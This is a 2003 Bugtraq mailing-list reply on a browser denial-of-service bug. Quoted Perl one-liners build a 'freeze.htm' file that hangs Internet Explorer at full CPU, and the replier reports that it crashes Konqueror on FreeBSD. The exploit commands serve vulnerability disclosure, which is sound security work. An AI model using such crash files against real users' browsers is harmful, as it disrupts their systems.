bugtraq - Re: April appeared to be a month of IE bugs. Here's another one.

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Date: Fri, 02 May 2003 10:11:50 +0200
From: Joachim Stro"mbergson <Joachim.Strombergson@...ormAsic.com>
To: ERRor <error@...htamt.ru>
Subject: Re: April appeared to be a month of IE bugs. Here's another one.

Aloha!

ERRor wrote:
>>>Hello, Bugtraq.
>>
>>>Malicious htm file can freeze IE with 100% CPU usage:
>>>Construct the file freeze.htm:
>>>c:\>perl -e "print qq'\xFF\xFE'; print qq'\r\n' x 30000" > freeze.htm
>>
>  This string works only with Active Perl, in unix-like Perl versions exploit
> string is:
>  perl -e "print qq'\xFF\xFE'; print qq'\r\r\n' x 30000" > freeze.htm
>  Active Perl understand \n = \x0D\x0A, freeze of  IE exist only if sequence
>  of bytes will be ...\x0D\x0D\x0A...
>  Sorry, I have not noticed it at once.

I tested the freeze.htm generated with the revised Perl code in Konqeror 3.0.3 
(shipped in KDE 3.0.3). When loading freeze.htm Konqeror core dumps with a bus 
error almost instantly. Every time. This was tested in FreeBSD 4.7-STABLE.

-- 
Med va"nlig ha"lsning, Yours

Joachim Stro"mbergson - Alltid i harmonisk sva"ngning.
VP, Research & Development
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